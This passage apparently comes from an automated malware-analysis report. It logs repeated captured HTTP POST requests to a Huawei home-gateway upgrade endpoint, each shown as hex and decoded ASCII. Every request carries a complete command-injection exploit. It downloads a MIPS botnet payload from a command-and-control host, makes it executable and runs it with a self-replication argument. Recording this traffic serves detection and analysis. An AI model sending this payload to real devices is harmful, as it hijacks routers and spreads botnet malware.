2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 